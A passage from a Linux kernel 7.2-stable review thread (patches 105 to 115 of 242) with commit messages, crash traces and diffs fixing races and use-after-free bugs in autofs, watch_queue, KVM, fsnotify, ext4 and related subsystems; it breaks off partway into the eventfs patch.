@@ -576,7 +576,7 @@ void sof_client_unregister_ipc_rx_handlestruct snd_sof_dev *sdev =sof_client_dev_to_sof_dev (cdev);struct sof_ipc_event_entry *event; -guard (mutex)(&sdev->ipc_client_mutex); +guard (mutex)(&sdev->client_event_handler_mutex);list_for_each_entry (event, &sdev->ipc_rx_handler_list, list) {if (event->cdev == cdev && event->ipc_msg_type == ipc_msg_type) {
@@ -593,7 +593,7 @@ void sof_client_fw_state_dispatcher(stru {struct sof_state_event_entry *event; -guard (mutex)(&sdev->ipc_client_mutex); +guard (mutex)(&sdev->client_event_handler_mutex);list_for_each_entry (event, &sdev->fw_state_handler_list, list) event->callback (event->cdev, sdev->fw_state);
@@ -628,7 +628,7 @@ void sof_client_unregister_fw_state_handstruct snd_sof_dev *sdev =sof_client_dev_to_sof_dev (cdev);struct sof_state_event_entry *event; -guard (mutex)(&sdev->ipc_client_mutex); +guard (mutex)(&sdev->client_event_handler_mutex);list_for_each_entry (event, &sdev->fw_state_handler_list, list) {if (event->cdev == cdev) {
Greg Kroah-Hartman
maintainerPATCH 105/242 autofs: ignore notification errors from a replaced pipe
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sung Byeongchan <[email protected]>
commit 65676cd4203c0e41a94caf54080a7f0a95434bda upstream.
autofs_notify_daemon() takes a reference to the current notification pipe under wq_mutex, then drops the mutex before writing the request. The write can block while the daemon enters catatonic mode and installs a replacement pipe.
If the old pipe's reader is then closed, the delayed write returns -EPIPE and the generic error path enters catatonic mode again. That transition acts on the current superblock state, closes the replacement pipe, and releases the new daemon generation's wait queues.
Only enter catatonic mode when the pipe which failed is still the current pipe. Factor the already-locked transition so the identity check and state change are atomic with respect to another replacement.
This was reproduced on v7.3-rc5-337-gff47652a4b66c in a local QEMU guest. An unprivileged UID 65534 lookup filled the old packet pipe before a normal CATATONIC/SETPIPEFD restart. On the unmodified kernel, the new pipe received HUP and both a pending victim lookup and a later lookup failed with ENOENT in two out of two fresh-mount runs.
With this change, the new pipe remained active, received an intact 304-byte request, and both victim lookups completed in two out of two runs. Normal lookup and restart-without-a-blocked-writer controls passed. No KASAN, oops, refcount, or lock diagnostic was observed. A source reproducer and complete local logs are available privately on request.
The demonstrated impact is limited to denial of a shared autofs service during a legitimate daemon restart. No memory corruption, information leak, privilege escalation, or code execution primitive was observed.
--- fs/autofs/waitq.c | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-)
fs/autofs/waitq.c +19 -6
@@ -12,15 +12,13 @@*/ static autofs_wqt_t autofs_next_wait_queue =1 ; -void autofs_catatonic_mode (struct autofs_sb_info *sbi) +static void autofs_catatonic_mode_locked (struct autofs_sb_info *sbi) {struct autofs_wait_queue *wq, *nwq; -mutex_lock (&sbi->wq_mutex); -if (sbi->flags &AUTOFS_SBI_CATATONIC ) { -mutex_unlock (&sbi->wq_mutex); +lockdep_assert_held (&sbi->wq_mutex); +if (sbi->flags &AUTOFS_SBI_CATATONIC )return ; - }pr_debug ("entering catatonic mode\n" );
@@ -40,6 +38,21 @@ void autofs_catatonic_mode(struct autofsfput (sbi->pipe);/* Close the pipe */ sbi->pipe =NULL ; sbi->pipefd =-1 ; +} + +void autofs_catatonic_mode (struct autofs_sb_info *sbi) +{ +mutex_lock (&sbi->wq_mutex); +autofs_catatonic_mode_locked (sbi); +mutex_unlock (&sbi->wq_mutex); +} + +static void autofs_catatonic_mode_for_pipe (struct autofs_sb_info *sbi, +struct file *pipe) +{ +mutex_lock (&sbi->wq_mutex); +if (sbi->pipe == pipe) +autofs_catatonic_mode_locked (sbi);mutex_unlock (&sbi->wq_mutex); }
@@ -170,7 +183,7 @@ static void autofs_notify_daemon(structautofs_wait_release (sbi, wq->wait_queue_token, ret);break ;default : -autofs_catatonic_mode (sbi); +autofs_catatonic_mode_for_pipe (sbi, pipe);break ; }fput (pipe);
Greg Kroah-Hartman
maintainerPATCH 106/242 bootconfig: give the footer size static_assert a message
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <[email protected]>
commit a1ddc2721467fb68241372db77657fd0dcf6cda5 upstream.
static_assert() without a message is a C23 feature, so clang warns:
main.c:498:56: warning: '_Static_assert' with no message is a C23 extension [-Wc23-extensions]
Add a message.
--- tools/bootconfig/main.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
tools/bootconfig/main.c +2 -1
@@ -495,7 +495,8 @@ static int apply_xbc(const char *path, c footer.size =htole32 (size); footer.csum =htole32 (csum);memcpy (footer.magic,BOOTCONFIG_MAGIC ,BOOTCONFIG_MAGIC_LEN ); -static_assert (sizeof (footer) ==BOOTCONFIG_FOOTER_SIZE ); +static_assert (sizeof (footer) ==BOOTCONFIG_FOOTER_SIZE , +"bootconfig footer size mismatch" );memcpy (data + size, &footer,BOOTCONFIG_FOOTER_SIZE ); total_size = size +BOOTCONFIG_FOOTER_SIZE ;
Greg Kroah-Hartman
maintainerPATCH 107/242 unicode: free the map after a grace period
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit a96c5299bd7305eb984377681eb3222a57376405 upstream.
generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and dereference the unicode map while a pathwalk in rcu mode holds nothing but rcu_read_lock(). The filesystems that use them, ext4, f2fs and tmpfs, drop the map with utf8_unload() from ->put_super(), which runs when the last reference to the mount goes away. A lookup that is still inside such a filesystem at that point reads a freed map.
With a pathwalk held up in utf8_casefold_hash() while the last reference to a casefolded tmpfs goes away:
BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950 Read of size 8 at addr ff110001030fe658 by task walker/98 Call Trace: <TASK> utf8nlookup+0x74c/0x950 utf8byte+0x160/0x1560 utf8_casefold_hash+0x167/0x230 generic_ci_d_hash+0xdd/0x1c0 link_path_walk+0x11ad/0x1d30 path_lookupat+0x63/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 [...] Allocated by task 94: __kmalloc_cache_noprof+0x249/0x560 utf8_load+0x4e/0x570 shmem_parse_opt_casefold.isra.0+0x92/0x270 [...] Freed by task 97: kfree+0x1db/0x5b0 shmem_put_super+0x72/0x170 generic_shutdown_super+0x14c/0x530 kill_anon_super+0x3a/0x60 deactivate_locked_super+0x9c/0xf0 cleanup_mnt+0x9f/0x130
So far that has been hard to hit. umount(2) waits for a grace period in namespace_unlock() before it drops the mount, so only a mount whose last reference goes away elsewhere, like the close of a file or a chdir out of a lazily unmounted directory, can race a walker. So it is reachable.
Delay the free until a grace period has passed. The map and the data table it holds a reference to then outlive any pathwalk that found the superblock before the mount went away. The reference on the data table module is dropped from the rcu callback as well. utf8-core is built in whenever CONFIG_UNICODE is set, so there is no module exit that would have to wait for the callbacks.
Overlayfs points the s_encoding of an overlay at the map of its first layer without taking a reference of its own. That stays correct. The layer is held by the overlay, so its map is dropped only after the overlay is gone.
--- fs/unicode/utf8-core.c | 21 +++++++++++++++++---- include/linux/unicode.h | 1 + 2 files changed, 18 insertions(+), 4 deletions(-)
fs/unicode/utf8-core.c +17 -4
@@ -3,6 +3,7 @@#include <linux/kernel.h> #include <linux/string.h> #include <linux/slab.h> +#include <linux/rcupdate.h> #include <linux/parser.h> #include <linux/errno.h> #include <linux/stringhash.h>
@@ -205,12 +206,24 @@ out_free_um: }EXPORT_SYMBOL (utf8_load); +static void utf8_unload_rcu (struct rcu_head *head) +{ + struct unicode_map *um = container_of(head, struct unicode_map, rcu); + +symbol_put (utf8_data_table); +kfree (um); +} + +/* +* A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare() of a +* filesystem that is being torn down and read the map through its +* superblock, so the map and the tables it points to have to outlive the +* grace period. +*/ void utf8_unload (struct unicode_map *um) { -if (um) { -symbol_put (utf8_data_table); -kfree (um); - } +if (um) +call_rcu (&um->rcu, utf8_unload_rcu); }EXPORT_SYMBOL (utf8_unload);
include/linux/unicode.h +1 -0
@@ -53,6 +53,7 @@ struct unicode_map {unsigned int version;const struct utf8data *ntab[UTF8_NMAX ];const struct utf8data_table *tables; +struct rcu_head rcu; };int utf8_validate (const struct unicode_map *um,const struct qstr *str);
Greg Kroah-Hartman
maintainerPATCH 108/242 watch_queue: Fix note pool publication race in watch_queue_set_size()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft) <[email protected]>
commit 5e531d62f1f8834faf7a4eed0d41105cf6570a8f upstream.
There is a race between watch_queue_set_size() and post_one_notification(). watch_queue_set_size() publishes wqueue->notes, notes_bitmap, nr_pages and nr_notes with plain stores, and post_one_notification() reads them with plain loads under a different lock, so nothing orders the four stores against the poster's loads: depending on the build, notes can be stored last (gcc 14 on x86-64 does this). Since keyctl_watch_key() lets a watch attach to a queue before it is sized, post_one_notification() can already be running on another CPU at that moment: it reads nr_notes > 0, passes its bounds check, and then reads notes while it is still NULL, dereferencing notes[0].
An unprivileged user triggers this reliably by watching one of its own keys through a notification pipe and racing ioctl(IOC_WATCH_QUEUE_SET_SIZE) on that pipe against keyctl(KEYCTL_SETPERM) on the key from another CPU, triggering:
BUG: kernel NULL pointer dereference, address: 0000000000000000 RIP: 0010:post_one_notification.isra.0+0xa2/0x1e0 Call Trace: __post_watch_notification+0x148/0x180 keyctl_setperm_key+0x119/0x130 do_syscall_64+0x108/0x4c0 entry_SYSCALL_64_after_hwframe+0x77/0x7f Kernel panic - not syncing: Fatal exception in interrupt
Fix this by publishing nr_notes last with smp_store_release(), and by reading it once with smp_load_acquire() in post_one_notification() before the bitmap and the page array are touched. A poster that observes a non-zero nr_notes then also observes the pool behind it; one that observes zero drops the notification as before.
--- kernel/watch_queue.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-)
kernel/watch_queue.c +7 -4
@@ -101,7 +101,7 @@ static bool post_one_notification(structstruct pipe_inode_info *pipe = wqueue->pipe;struct pipe_buffer *buf;struct page *page; -unsigned int head, tail, note, offset, len; +unsigned int head, tail, note, offset, len, nr_notes;bool done = false;spin_lock_irq (&pipe->rd_wait.lock);
@@ -111,8 +111,10 @@ static bool post_one_notification(structif (pipe_full (head, tail, pipe->ring_size)) goto lost; - note =find_first_bit (wqueue->notes_bitmap, wqueue->nr_notes); -if (note >= wqueue->nr_notes) +/* Pairs with the smp_store_release() in watch_queue_set_size(). */ + nr_notes =smp_load_acquire (&wqueue->nr_notes); + note =find_first_bit (wqueue->notes_bitmap, nr_notes); +if (note >= nr_notes) goto lost; page = wqueue->notes[note /WATCH_QUEUE_NOTES_PER_PAGE ];
@@ -297,7 +299,8 @@ long watch_queue_set_size(struct pipe_in wqueue->notes = pages; wqueue->notes_bitmap = bitmap; wqueue->nr_pages = nr_pages; - wqueue->nr_notes = nr_notes; +/* Pairs with the smp_load_acquire() in post_one_notification(). */ +smp_store_release (&wqueue->nr_notes, nr_notes);return 0 ; error_p:
Greg Kroah-Hartman
maintainerPATCH 109/242 x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: EJ Campbell <[email protected]>
commit 81d99abe2bd81379abfb595e403bbbee6fbfc624 upstream.
An async #PF "page not present" event arrives through the #PF vector, and its reason sits in the per-CPU apf_reason.flags until __kvm_handle_async_pf() reads and clears it. If an NMI arrives after the event is injected and before the #PF handler reads the flags, and the NMI handler itself takes a #PF, that fault reads and clears the flags belonging to the #PF it interrupted. It then finds interrupts disabled in the NMI context it interrupted, and panics:
Kernel panic - not syncing: Host injected async #PF in interrupt disabled region Call Trace: <NMI> panic+0x52/0x60 __kvm_handle_async_pf+0xb0/0xb0 exc_page_fault+0x71/0xb0 asm_exc_page_fault+0x27/0x30 RIP: 0010:__get_user_nocheck_8+0x6/0x20 perf_callchain_user+0x147/0x1a0 get_perf_callchain+0x12d/0x1c0 ... perf_event_nmi_handler+0x26/0x50 exc_nmi+0xe8/0x110 RIP: 0010:asm_exc_page_fault+0x0/0x30 </NMI>
The last RIP line shows the NMI landing on the first instruction of the #PF entry. perf with user call chains takes such a fault: the sampling NMI walks the user stack with __get_user(), which faults when a saved frame pointer is not a valid user address or the walk runs off the top of the stack. The same window exists when KVM, running as an L1 hypervisor with DELIVERY_AS_PF_VMEXIT, reads the flags itself after a #PF VM-exit.
The NMI entry code saves and restores CR2 for this nesting, but not the async #PF reason. Andy Lutomirski described the race, with perf as the example, when async #PF delivery was reworked in 2020 [1]. Saving and clearing the flags across the NMI, next to CR2, was discussed there but not merged.
Since that rework, Linux has stopped setting KVM_ASYNC_PF_SEND_ALWAYS, so the host delivers "page not present" only for user mode faults and a kernel-mode fault in NMI context (including kernel-mode #MC and #DB) cannot be an async page fault. In that case, return without touching the flags so that the interrupted handler finds them intact.
Tested on v7.3-rc5 in a 4-vCPU, 2 GiB guest restored from a snapshot whose memory is served on demand through userfaultfd, so that reading it back takes async #PFs, while every thread samples hardware cycles with user call chains and points its frame pointer at an unmapped page. Without this patch the guest panicked as above in 3 of 3 runs. With it, the guest survived 3 of 3 runs of 60 seconds, and the host counted 148,441 to 153,334 kvm_async_pf_not_present events in the first 20 seconds of each. On 6.18.50 the results were the same: the guest panicked without the patch and survived with it.
--- arch/x86/kernel/kvm.c | 32 +++++++++++++++++++++++++++++--- 1 file changed, 29 insertions(+), 3 deletions(-)
arch/x86/kernel/kvm.c +29 -3
@@ -265,11 +265,39 @@ noinstr u32 kvm_read_and_reset_apf_flags }EXPORT_SYMBOL_FOR_KVM (kvm_read_and_reset_apf_flags); +static __always_inline bool kvm_apf_reason_pending(void) +{ +return __this_cpu_read (async_pf_enabled) && +__this_cpu_read (apf_reason.flags); +} + noinstr bool __kvm_handle_async_pf(struct pt_regs *regs, u32 token) { -u32 flags =kvm_read_and_reset_apf_flags ();irqentry_state_t state; +u32 flags; + +if (!kvm_apf_reason_pending ()) +return false; + +/* +* The guest does not enable KVM_ASYNC_PF_SEND_ALWAYS, so the host +* delivers async #PF only to user mode (or as a #PF VM-exit, which KVM +* reads itself). A #PF from kernel mode can still arrive between that +* delivery and the read of the reason flags, inside an NMI that +* interrupted it, for instance perf reading user memory for a call +* chain. Such a fault is not async, so leave the async PF flags +* untouched for the outer handler. Outside NMI context, on the other +* hand, async PF flags on a kernel-mode fault mean the host is broken. +*/ +if (!user_mode (regs)) { +if (likely (in_nmi ())) +return false; + state =irqentry_enter (regs); +instrumentation_begin (); +panic ("Host injected async #PF in kernel mode\n" ); + } + flags =kvm_read_and_reset_apf_flags ();if (!flags)return false;
@@ -285,8 +313,6 @@ noinstr bool __kvm_handle_async_pf(strucpanic ("Host injected async #PF in interrupt disabled region\n" );if (flags &KVM_PV_REASON_PAGE_NOT_PRESENT ) { -if (unlikely (!(user_mode (regs)))) -panic ("Host injected async #PF in kernel mode\n" );/* Page is swapped out by the host. */ kvm_async_pf_task_wait_schedule (token); }else {
Greg Kroah-Hartman
maintainerPATCH 110/242 KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <[email protected]>
commit 97818b2fa7082e940ddd36dab12a68615300e798 upstream.
set_page_dirty() requires that the caller holds some kind of lock to ensure that the page's mapping does not concurrently go away. That is not the case for a random page we got from get_user_pages_fast(), so use set_page_dirty_lock().
--- arch/x86/kvm/svm/sev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/x86/kvm/svm/sev.c +1 -1
@@ -2431,7 +2431,7 @@ static int sev_gmem_post_populate(structvoid *dst_vaddr =kmap_local_pfn (pfn);memcpy (src_vaddr, dst_vaddr,PAGE_SIZE ); -set_page_dirty (src_page); +set_page_dirty_lock (src_page);kunmap_local (dst_vaddr);kunmap_local (src_vaddr);
Greg Kroah-Hartman
maintainerPATCH 111/242 KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Amirmohammad Eftekhar <[email protected]>
commit c8f4cfe1cf93bce924e27f2abead7a4c4a487505 upstream.
Reset the vCPU's MMU pointer back to the root MMU if loading L2 state fails in the "not from VM-Entry" case, i.e. when emulating RSM or handling KVM_SET_NESTED_STATE. Failure to unwind the MMU pointer results in KVM trying to run L1 with a nested MMU, and is especially problematic if the vCPU manages to free its nested state before the VM crashes. Constructing the root for a nested EPT MMU goes through vmcs12, which is dynamically allocated/freed when nVMX is enabled/disabled. And so if the nested state is freed with the MMU still pointing at the nested MMU, KVM will hit a NULL pointer deref when attempting to get L1=>L2 EPTP.
BUG: kernel NULL pointer dereference, address: 0000000000000078 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 114a2d067 P4D 111743067 PUD 11141f067 PMD 0 Oops: Oops: 0000 [#1] SMP CPU: 20 UID: 1000 PID: 1272 Comm: nested_tdp_faul Not tainted 7.3.0-rc4-8c89f11d1a99b-sink-vm #1914 PREEMPTLAZY Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel] Call Trace: <TASK> kvm_mmu_load+0xcd/0x870 [kvm] kvm_arch_vcpu_ioctl_run+0x18f5/0x1f80 [kvm] kvm_vcpu_ioctl+0x2c7/0x970 [kvm] __x64_sys_ioctl+0x90/0xd0 do_syscall_64+0x9c/0x4d0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x47491b </TASK> Modules linked in: kvm_intel kvm irqbypass CR2: 0000000000000078 ---[ end trace 0000000000000000 ]--- RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
--- arch/x86/kvm/vmx/nested.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
arch/x86/kvm/vmx/nested.c +3 -1
@@ -3774,8 +3774,10 @@ vmentry_fail_vmexit_guest_mode: vmentry_fail_vmexit:vmx_switch_vmcs (vcpu, &vmx->vmcs01); -if (!from_vmentry) +if (!from_vmentry) { +nested_ept_uninit_mmu_context (vcpu);return NVMX_VMENTRY_VMEXIT ; + }nested_put_vmcs12_pages (vcpu);
Greg Kroah-Hartman
maintainerPATCH 112/242 fsnotify: prevent mark additions during connector teardown
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <[email protected]>
commit 36ebddca56b9d8993d6dc984fdecc748ee1f5e06 upstream.
fsnotify_destroy_marks() keeps a reference to its current mark while it drops conn->lock to destroy the mark. This stabilizes the forward-walk cursor, but does not prevent a new mark from being inserted before it. For example, an inotify watch re-added after IN_IGNORED sorts before the old, detached mark for the same group. The walk can miss the replacement and then detach the entire connector from the object.
The replacement is still on its group's marks_list and, for inotify, in the watch IDR. The group mutex no longer protects the connector's object from disappearing. An unprivileged fdinfo read racing the final detach can consequently call igrab(NULL):
BUG: KASAN: null-ptr-deref in igrab+0x24/0x100 Write of size 4 at addr 0000000000000148 Call Trace: igrab+0x24/0x100 inotify_show_fdinfo+0x1dc/0x5e0 seq_show+0x397/0x690
Set a DESTROYING flag under conn->lock before starting the walk, and reject new marks on that connector with -ENOENT. The existing add-mark error paths undo the temporary group-list entry and the backend's watch allocation. Do not wait for teardown while holding the group mutex, which the destroyer needs. Once the old connector is detached, an add can install a fresh connector as before.
This closes the insertion race for all object types using the common connector teardown, without changing the mark reference or SRCU lifetime rules.
--- fs/notify/mark.c | 11 +++++++++++ include/linux/fsnotify_backend.h | 1 + 2 files changed, 12 insertions(+)
fs/notify/mark.c +11 -0
@@ -925,6 +925,11 @@ restart: goto restart; } +if (conn->flags &FSNOTIFY_CONN_FLAG_DESTROYING ) { + err = -ENOENT ; + goto out_err; + } +/* is mark the first mark? */ if (hlist_empty (&conn->list)) {hlist_add_head_rcu (&mark->obj_list, &conn->list);
@@ -1113,6 +1118,12 @@ void fsnotify_destroy_marks(fsnotify_conif (!conn)return ;/* +* New marks could be inserted before our cursor and survive the final +* detachment of the connector from the object. Prevent additions to +* this connector before dropping its lock. +*/ + conn->flags |=FSNOTIFY_CONN_FLAG_DESTROYING ; +/* * We have to be careful since we can race with e.g. * fsnotify_clear_marks_by_group() and once we drop the conn->lock, the * list can get modified. However we are holding mark reference and
include/linux/fsnotify_backend.h +1 -0
@@ -566,6 +566,7 @@ struct fsnotify_mark_connector {unsigned char prio;/* Highest priority group */ #define FSNOTIFY_CONN_FLAG_IS_WATCHED 0x01#define FSNOTIFY_CONN_FLAG_HAS_IREF 0x02 +#define FSNOTIFY_CONN_FLAG_DESTROYING 0x04unsigned short flags;/* flags [lock] */ union {/* Object pointer [lock] */
Greg Kroah-Hartman
maintainerPATCH 113/242 pid_namespace: make zap_pid_ns_processes() freezable
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aviv Vaknin <[email protected]>
commit 81933038f5e273d17ed22792f906889393b204c5 upstream.
When the init of a pid namespace exits, zap_pid_ns_processes() waits until all other pids in the namespace are freed. A tracer outside the namespace that does not reap its traced zombies keeps those pids allocated, so this wait has no upper bound, and while it lasts every suspend attempt fails:
Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):
Neither wait is freezable. The first loop sleeps in do_wait(), which returns -ERESTARTSYS on the freezer's fake signal; the loop then clears TIF_SIGPENDING and waits again without ever freezing. The final loop sleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING there, schedule() returns immediately after the first freeze attempt and the task spins until the wait ends.
Sleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the freezer can freeze tasks waiting there directly, and in TASK_IDLE | TASK_FREEZABLE in the final loop, like coredump_task_exit() does.
This was hit with Chromium-based browsers: crashpad ptrace-attaches the threads of a crashed renderer, which is a pid namespace init, and does not reap those killed during the dump.
--- kernel/exit.c | 2 +- kernel/pid_namespace.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-)
kernel/exit.c +1 -1
@@ -1730,7 +1730,7 @@ static long do_wait(struct wait_opts *woadd_wait_queue (¤t->signal->wait_chldexit, &wo->child_wait); do { - set_current_state(TASK_INTERRUPTIBLE); + set_current_state(TASK_INTERRUPTIBLE | TASK_FREEZABLE); retval = __do_wait(wo); if (retval != -ERESTARTSYS) break;
kernel/pid_namespace.c +1 -1
@@ -268,7 +268,7 @@ void zap_pid_ns_processes(struct pid_nam* free_pid() will awaken this task. */ for (;;) { -set_current_state (TASK_INTERRUPTIBLE ); +set_current_state (TASK_IDLE |TASK_FREEZABLE );if (pid_ns->pid_allocated == init_pids)break ;schedule ();
Greg Kroah-Hartman
maintainerPATCH 114/242 ext4: free the sbi after a grace period
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit c17b44266a1f9fcb49b894d4611d1254bf1aa313 upstream.
ext4_get_link() follows a symlink that keeps its target in a data block in rcu pathwalk mode with ext4_getblk(EXT4_GET_BLOCKS_CACHED_NOWAIT). That reads s_mount_state in the ASSERT() of ext4_getblk() and again in ext4_es_lookup_extent(), and the lookup bumps the extent status hit or miss counter, all through sb->s_fs_info.
ext4_put_super() destroys those counters, clears sb->s_fs_info and frees the sbi without waiting for a grace period. A pathwalk that is still in ext4_get_link() when the last reference to the mount goes away then dereferences a NULL s_fs_info, the freed sbi or the destroyed percpu counters.
With a pathwalk held up in ext4_get_link() while the last reference goes away:
KASAN: null-ptr-deref in range [0x00000000000000a8-0x00000000000000af] RIP: 0010:ext4_getblk+0xf0/0x640 Call Trace: <TASK> ext4_get_link+0x26c/0x410 pick_link+0xf96/0x1780 step_into_slowpath+0x9b8/0x1250 path_lookupat+0x484/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 vfs_fstatat+0x4d/0x90 __do_sys_newfstatat+0xa0/0x100 do_syscall_64+0x10e/0x5e0 entry_SYSCALL_64_after_hwframe+0x77/0x7f
So far that has been hard to hit. umount(2) waits for a grace period in namespace_unlock() before it drops the mount, so only a mount whose last reference goes away elsewhere, like the close of a file or a chdir out of a lazily unmounted directory, can race a walker.
Keep sb->s_fs_info and free the sbi together with the extent status counters after a grace period. Split the counters out of ext4_es_unregister_shrinker() for that. The shrinker still gets wasted in ext4_put_super(), the counters go with the sbi.
--- fs/ext4/ext4.h | 2 ++ fs/ext4/extents-test.c | 2 ++ fs/ext4/extents.c | 1 + fs/ext4/extents_status.c | 7 ++++++- fs/ext4/extents_status.h | 1 + fs/ext4/super.c | 13 +++++++++++-- 6 files changed, 23 insertions(+), 3 deletions(-)
fs/ext4/ext4.h +2 -0
@@ -1768,6 +1768,8 @@ struct ext4_sb_info {struct list_head s_es_list;/* List of inodes with reclaimable extents */ long s_es_nr_inode;struct ext4_es_stats s_es_stats; +/* ext4_get_link() reads the sbi in rcu pathwalk */ +struct rcu_head s_rcu;struct mb_cache *s_ea_block_cache;struct mb_cache *s_ea_inode_cache;spinlock_t s_es_lock____cacheline_aligned_in_smp ;
fs/ext4/extents-test.c +2 -0
@@ -156,6 +156,7 @@ static void extents_kunit_exit(struct ku sbi = k_ctx.k_ei->vfs_inode.i_sb->s_fs_info;ext4_es_unregister_shrinker (sbi); +ext4_es_destroy_stats (sbi);deactivate_super (sbi->s_sb);kfree (sbi);kfree (k_ctx.k_ei);
@@ -345,6 +346,7 @@ out: k_ctx.k_data =NULL ;ext4_es_unregister_shrinker (sbi); +ext4_es_destroy_stats (sbi); out_deactivate:deactivate_locked_super (sb);kfree (sbi);
fs/ext4/extents.c +1 -0
@@ -6297,6 +6297,7 @@ EXPORT_SYMBOL_FOR_EXT4_TEST(__ext4_ext_dEXPORT_SYMBOL_FOR_EXT4_TEST (ext4_ext_zeroout);EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_es_register_shrinker);EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_es_unregister_shrinker); +EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_es_destroy_stats);EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_map_create_blocks);EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_es_init_tree);EXPORT_SYMBOL_FOR_EXT4_TEST (ext4_es_lookup_extent);
fs/ext4/extents_status.c +6 -1
@@ -1882,11 +1882,16 @@ err1:void ext4_es_unregister_shrinker (struct ext4_sb_info *sbi) { +shrinker_free (sbi->s_es_shrinker); +} + +/* ext4_get_link() bumps the hit and miss counters in rcu pathwalk */ +void ext4_es_destroy_stats (struct ext4_sb_info *sbi) +{percpu_counter_destroy (&sbi->s_es_stats.es_stats_cache_hits);percpu_counter_destroy (&sbi->s_es_stats.es_stats_cache_misses);percpu_counter_destroy (&sbi->s_es_stats.es_stats_all_cnt);percpu_counter_destroy (&sbi->s_es_stats.es_stats_shk_cnt); -shrinker_free (sbi->s_es_shrinker); }/*
fs/ext4/extents_status.h +1 -0
@@ -238,6 +238,7 @@ static inline void ext4_es_store_pblock_extern int ext4_es_register_shrinker (struct ext4_sb_info *sbi);extern void ext4_es_unregister_shrinker (struct ext4_sb_info *sbi); +extern void ext4_es_destroy_stats (struct ext4_sb_info *sbi);extern int ext4_seq_es_shrinker_info_show (struct seq_file *seq,void *v);
fs/ext4/super.c +11 -2
@@ -1279,6 +1279,14 @@ static void ext4_flex_groups_free(struct } } +static void ext4_put_sbi_rcu (struct rcu_head *head) +{ + struct ext4_sb_info *sbi = container_of(head, struct ext4_sb_info, s_rcu); + +ext4_es_destroy_stats (sbi); +kfree (sbi); +} +static void ext4_put_super (struct super_block *sb) {struct ext4_sb_info *sbi =EXT4_SB (sb);
@@ -1372,7 +1380,6 @@ static void ext4_put_super(struct super_ext4_stop_mmpd (sbi);brelse (sbi->s_sbh); - sb->s_fs_info =NULL ;/* * Now that we are completely done shutting down the * superblock, we need to actually destroy the kobject.
@@ -1385,7 +1392,8 @@ static void ext4_put_super(struct super_#if IS_ENABLED (CONFIG_UNICODE )utf8_unload (sb->s_encoding);#endif -kfree (sbi); +/* ext4_get_link() reads the sbi and the counters in rcu pathwalk */ +call_rcu (&sbi->s_rcu, ext4_put_sbi_rcu); }static struct kmem_cache *ext4_inode_cachep;
@@ -5778,6 +5786,7 @@ failed_mount_wq: } failed_mount3a:ext4_es_unregister_shrinker (sbi); +ext4_es_destroy_stats (sbi); failed_mount3:/* flush s_sb_upd_work before sbi destroy */ flush_work (&sbi->s_sb_upd_work);
Greg Kroah-Hartman
maintainerPATCH 115/242 eventfs: Free the eventfs_inode after an rcu grace period too
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit 2cd88c498ecff8e22bf4c397b8eb226db70ac343 upstream.
tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that dentry->d_fsdata points to, and ->d_revalidate() is called in rcu pathwalk mode with nothing but rcu_read_lock() held. The dentry itself stays around for such a walker, but tracefs_d_release() drops its reference to the eventfs_inode when the dentry is killed, and release_ei() then frees it after a grace period of eventfs_srcu. An SRCU grace period doesn't wait for rcu_read_lock() sections, so the walker can read an eventfs_inode that is already gone.
With a pathwalk held up in tracefs_d_revalidate() while the dentry goes away:
